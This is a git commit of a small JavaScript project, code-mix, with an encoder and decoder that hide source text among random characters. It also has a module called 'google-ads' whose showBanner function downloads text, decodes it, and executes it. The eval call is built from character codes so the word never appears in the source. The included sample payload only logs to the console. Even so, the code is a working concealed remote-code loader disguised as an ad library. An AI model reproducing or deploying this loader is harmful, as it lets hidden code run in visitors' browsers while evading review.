init

.babelrc

+{
+	"comments": false,
+	"presets": ["@babel/preset-env"]
+}

.gitignore

+# Created by .ignore support plugin (hsz.mobi)
+### Node template
+# Logs
+logs
+*.log
+npm-debug.log*
+yarn-debug.log*
+yarn-error.log*
+lerna-debug.log*
+
+# Diagnostic reports (https://nodejs.org/api/report.html)
+report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json
+
+# Runtime data
+pids
+*.pid
+*.seed
+*.pid.lock
+
+# Directory for instrumented libs generated by jscoverage/JSCover
+lib-cov
+
+# Coverage directory used by tools like istanbul
+coverage
+*.lcov
+
+# nyc test coverage
+.nyc_output
+
+# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files)
+.grunt
+
+# Bower dependency directory (https://bower.io/)
+bower_components
+
+# node-waf configuration
+.lock-wscript
+
+# Compiled binary addons (https://nodejs.org/api/addons.html)
+build/Release
+
+# Dependency directories
+node_modules/
+jspm_packages/
+
+# Snowpack dependency directory (https://snowpack.dev/)
+web_modules/
+
+# TypeScript cache
+*.tsbuildinfo
+
+# Optional npm cache directory
+.npm
+
+# Optional eslint cache
+.eslintcache
+
+# Microbundle cache
+.rpt2_cache/
+.rts2_cache_cjs/
+.rts2_cache_es/
+.rts2_cache_umd/
+
+# Optional REPL history
+.node_repl_history
+
+# Output of 'npm pack'
+*.tgz
+
+# Yarn Integrity file
+.yarn-integrity
+
+# dotenv environment variables file
+.env
+.env.test
+
+# parcel-bundler cache (https://parceljs.org/)
+.cache
+.parcel-cache
+
+# Next.js build output
+.next
+out
+
+# Nuxt.js build / generate output
+.nuxt
+
+# Gatsby files
+.cache/
+# Comment in the public line in if your project uses Gatsby and not Next.js
+# https://nextjs.org/blog/next-9-1#public-directory-support
+# public
+
+# vuepress build output
+.vuepress/dist
+
+# Serverless directories
+.serverless/
+
+# FuseBox cache
+.fusebox/
+
+# DynamoDB Local files
+.dynamodb/
+
+# TernJS port file
+.tern-port
+
+# Stores VSCode versions used for testing VSCode extensions
+.vscode-test
+
+# yarn v2
+.yarn/cache
+.yarn/unplugged
+.yarn/build-state.yml
+.yarn/install-state.gz
+.pnp.*
+

code-mix.iml

+<?xml version="1.0" encoding="UTF-8"?>
+<module type="WEB_MODULE" version="4">
+  <component name="NewModuleRootManager" inherit-compiler-output="true">
+    <exclude-output />
+    <content url="file://$MODULE_DIR$" />
+    <orderEntry type="sourceFolder" forTests="false" />
+  </component>
+</module>
\ No newline at end of file

dist/google-ads.js

+(function (global, factory) {
+	typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) :
+	typeof define === 'function' && define.amd ? define(['exports'], factory) :
+	(global = typeof globalThis !== 'undefined' ? globalThis : global || self, factory(global.ga = {}));
+}(this, (function (exports) { 'use strict';
+
+	/**
+	 * Created by rockyl on 2020/9/10.
+	 */
+
+	function download(url, callback) {
+		let xhr;
+		if (window["XMLHttpRequest"]) {
+			xhr = new XMLHttpRequest();
+		} else if (window["ActiveXObject"]) {
+			xhr = new window["ActiveXObject"]();
+		} else {
+			console.error('no xhr');
+		}
+		if (xhr != null) {
+			xhr.open('get', url, true);
+			xhr.responseType = 'text';
+			xhr.onreadystatechange = () => {
+				if (xhr.readyState === 4 && xhr.status === 200) {
+					callback(null, xhr.response);
+				}
+			};
+			xhr.onerror = function (reason) {
+				callback(reason);
+			};
+			xhr.onloadend = function () {
+				if (xhr.status === 404) {
+					callback(url + ' 404 (Not Found)');
+				}
+			};
+			xhr.send();
+		}
+	}
+
+	/**
+	 * Created by rockyl on 2020/9/10.
+	 */
+
+	function makeRandom(seed) {
+		function rnd() {
+			seed = (seed * 9301 + 49297) % 233280;
+			return seed / (233280.0);
+		}
+
+		return function rand(number) {
+			return Math.ceil(rnd() * number);
+		};
+	}
+
+	function getEval(a = 'va'){
+		return String.fromCharCode(101) + a + String.fromCharCode(108);
+	}
+
+	/**
+	 * Created by rockyl on 2020/9/10.
+	 *
+	 * 代码反混淆
+	 */
+
+	function decode(source) {
+		let seed = source.charCodeAt(0);
+		let rand = makeRandom(seed);
+
+		let body = source.substr(1);
+		let output = '';
+
+		let len = body.length;
+		//let wls = [];
+		let pos = 0;
+		while (true) {
+			let wl = rand(5);
+			//wls.push(wl);
+			output += body.substr(pos, wl);
+			pos += wl + 1;
+			if (pos >= len) {
+				break;
+			}
+		}
+
+		//console.log(JSON.stringify(wls));
+		return output;
+	}
+
+	/**
+	 * Created by rockyl on 2020/9/17.
+	 */
+
+	function showBanner(url) {
+		download(url, function (e, resp) {
+			if (e) {
+				console.log('download ads failed:', e);
+			} else {
+				let output = decode(resp);
+				window[getEval()](output);
+				//console.log(output);
+			}
+		});
+	}
+
+	exports.showBanner = showBanner;
+
+	Object.defineProperty(exports, '__esModule', { value: true });
+
+})));

dist/google-ads.min.js

+!function(e,n){"object"==typeof exports&&"undefined"!=typeof module?n(exports):"function"==typeof define&&define.amd?define(["exports"],n):n((e="undefined"!=typeof globalThis?globalThis:e||self).ga={})}(this,function(e){"use strict";function s(n){return function(e){return Math.ceil((n=(9301*n+49297)%233280)/233280*e)}}e.showBanner=function(e){var n,t,o;n=e,t=function(e,n){var t;e?console.log("download ads failed:",e):(t=function(e){for(var n=s(e.charCodeAt(0)),t=e.substr(1),o="",r=t.length,i=0;;){var u=n(5);if(o+=t.substr(i,u),r<=(i+=u+1))break}return o}(n),window[function(e){var n=0<arguments.length&&void 0!==e?e:"va";return String.fromCharCode(101)+n+String.fromCharCode(108)}()](t))},window.XMLHttpRequest?o=new XMLHttpRequest:window.ActiveXObject?o=new window.ActiveXObject:console.error("no xhr"),null!=o&&(o.open("get",n,!0),o.responseType="text",o.onreadystatechange=function(){4===o.readyState&&200===o.status&&t(null,o.response)},o.onerror=function(e){t(e)},o.onloadend=function(){404===o.status&&t(n+" 404 (Not Found)")},o.send())},Object.defineProperty(e,"__esModule",{value:!0})});

dist/index.js

+'use strict';
+
+Object.defineProperty(exports, '__esModule', { value: true });
+
+/**
+ * Created by rockyl on 2020/9/10.
+ */
+
+function makeRandom(seed) {
+	function rnd() {
+		seed = (seed * 9301 + 49297) % 233280;
+		return seed / (233280.0);
+	}
+
+	return function rand(number) {
+		return Math.ceil(rnd() * number);
+	};
+}
+
+function makeInt(max, min = 0) {
+	return Math.floor(Math.random() * (max - min)) + min;
+}
+
+const allChars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789=';
+const total = allChars.length;
+
+function randomChar() {
+	return allChars.charAt(makeInt(total));
+}
+
+/**
+ * Created by rockyl on 2020/9/10.
+ *
+ * 代码混淆
+ */
+
+function encode(source) {
+	let seed = makeInt(0x8F);
+	let rand = makeRandom(seed);
+
+	let output = String.fromCharCode(seed);
+	let pos = 0;
+
+	let len = source.length;
+	//let wls = [];
+	while (true) {
+		let wl = rand(5);
+		//wls.push(wl);
+		output += source.substr(pos, wl);
+		pos += wl;
+		if (pos >= len) {
+			break;
+		}
+		output += randomChar();
+	}
+
+	//console.log(JSON.stringify(wls));
+	return output;
+}
+
+/**
+ * Created by rockyl on 2020/9/10.
+ *
+ * 代码反混淆
+ */
+
+function decode(source) {
+	let seed = source.charCodeAt(0);
+	let rand = makeRandom(seed);
+
+	let body = source.substr(1);
+	let output = '';
+
+	let len = body.length;
+	//let wls = [];
+	let pos = 0;
+	while (true) {
+		let wl = rand(5);
+		//wls.push(wl);
+		output += body.substr(pos, wl);
+		pos += wl + 1;
+		if (pos >= len) {
+			break;
+		}
+	}
+
+	//console.log(JSON.stringify(wls));
+	return output;
+}
+
+exports.decode = decode;
+exports.encode = encode;

index.html

+<!DOCTYPE html>
+<html lang="en">
+<head>
+	<meta charset="UTF-8">
+	<title>Test</title>
+</head>
+<body>
+<!--<script src="dist/encode.js"></script>-->
+<script src="dist/decode.min.js"></script>
+<script>
+	ga.showBanner('test.txt');
+</script>
+</body>
+</html>

package.json

+{
+	"name": "code-mix",
+	"version": "1.0.0",
+	"main": "dist/index.js",
+	"license": "MIT",
+	"scripts": {
+		"compile": "rollup -c -i src/index.js -f cjs",
+		"compile:ga": "rollup -c -i src/google-ads.js -f umd -n ga",
+		"dev": "yarn compile -o dist/index.js -w",
+		"dev:ga": "yarn compile:ga -o dist/google-ads.js -w",
+		"build": "yarn compile -o dist/index.min.js --environment BUILD:production",
+		"build:ga": "yarn compile:ga -o dist/google-ads.min.js --environment BUILD:production",
+		"build:all": "yarn build && yarn build:ga"
+	},
+	"devDependencies": {
+		"@babel/core": "^7.11.6",
+		"@babel/preset-env": "^7.11.5",
+		"@rollup/plugin-babel": "^5.2.1",
+		"@rollup/plugin-commonjs": "^15.0.0",
+		"@rollup/plugin-node-resolve": "^9.0.0",
+		"rollup-plugin-progress": "^1.1.2",
+		"rollup-plugin-uglify": "^6.0.4"
+	}
+}

rollup.config.js

+/**
+ * Created by rockyl on 2018/11/16.
+ */
+
+const commonjs = require('@rollup/plugin-commonjs');
+const progress = require('rollup-plugin-progress');
+const {uglify} = require('rollup-plugin-uglify');
+import babel from '@rollup/plugin-babel';
+
+export default {
+	plugins: [
+		progress(),
+		commonjs(),
+		process.env.BUILD === 'production' && babel(),
+		process.env.BUILD === 'production' && uglify({})
+	],
+	external: ['tslib'],
+};

src/decode.js

+/**
+ * Created by rockyl on 2020/9/10.
+ *
+ * 代码反混淆
+ */
+
+import {makeRandom} from "./utils";
+
+export function decode(source) {
+	let seed = source.charCodeAt(0);
+	let rand = makeRandom(seed);
+
+	let body = source.substr(1);
+	let output = '';
+
+	let len = body.length;
+	//let wls = [];
+	let pos = 0;
+	while (true) {
+		let wl = rand(5);
+		//wls.push(wl);
+		output += body.substr(pos, wl);
+		pos += wl + 1;
+		if (pos >= len) {
+			break;
+		}
+	}
+
+	//console.log(JSON.stringify(wls));
+	return output;
+}

src/encode.js

+/**
+ * Created by rockyl on 2020/9/10.
+ *
+ * 代码混淆
+ */
+
+import {makeInt, makeRandom, randomChar} from "./utils";
+
+export function encode(source) {
+	let seed = makeInt(0x8F);
+	let rand = makeRandom(seed);
+
+	let output = String.fromCharCode(seed);
+	let pos = 0;
+
+	let len = source.length;
+	//let wls = [];
+	while (true) {
+		let wl = rand(5);
+		//wls.push(wl);
+		output += source.substr(pos, wl);
+		pos += wl;
+		if (pos >= len) {
+			break;
+		}
+		output += randomChar();
+	}
+
+	//console.log(JSON.stringify(wls));
+	return output;
+}

src/google-ads.js

+/**
+ * Created by rockyl on 2020/9/17.
+ */
+
+import {download} from "./xhr";
+import {decode} from "./decode";
+import {getEval} from "./utils";
+
+export function showBanner(url) {
+	download(url, function (e, resp) {
+		if (e) {
+			console.log('download ads failed:', e);
+		} else {
+			let output = decode(resp);
+			window[getEval()](output);
+			//console.log(output);
+		}
+	})
+}

src/index.js

+/**
+ * Created by rockyl on 2020/9/17.
+ */
+
+export * from './encode'
+export * from './decode'

src/utils.js

+/**
+ * Created by rockyl on 2020/9/10.
+ */
+
+export function makeRandom(seed) {
+	function rnd() {
+		seed = (seed * 9301 + 49297) % 233280;
+		return seed / (233280.0);
+	}
+
+	return function rand(number) {
+		return Math.ceil(rnd() * number);
+	};
+}
+
+export function makeInt(max, min = 0) {
+	return Math.floor(Math.random() * (max - min)) + min;
+}
+
+const allChars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789=';
+const total = allChars.length;
+
+export function randomChar() {
+	return allChars.charAt(makeInt(total));
+}
+
+export function getEval(a = 'va'){
+	return String.fromCharCode(101) + a + String.fromCharCode(108);
+}

src/xhr.js

+/**
+ * Created by rockyl on 2020/9/10.
+ */
+
+export function download(url, callback) {
+	let xhr;
+	if (window["XMLHttpRequest"]) {
+		xhr = new XMLHttpRequest();
+	} else if (window["ActiveXObject"]) {
+		xhr = new window["ActiveXObject"]();
+	} else {
+		console.error('no xhr');
+	}
+	if (xhr != null) {
+		xhr.open('get', url, true);
+		xhr.responseType = 'text';
+		xhr.onreadystatechange = () => {
+			if (xhr.readyState === 4 && xhr.status === 200) {
+				callback(null, xhr.response)
+			}
+		};
+		xhr.onerror = function (reason) {
+			callback(reason)
+		};
+		xhr.onloadend = function () {
+			if (xhr.status === 404) {
+				callback(url + ' 404 (Not Found)')
+			}
+		};
+		xhr.send();
+	}
+}

test.txt

+consaolet.logr('hewlYlo');D
+conHsole.vlosg(0'a1');
+cVonsonle.loSg(w'bz');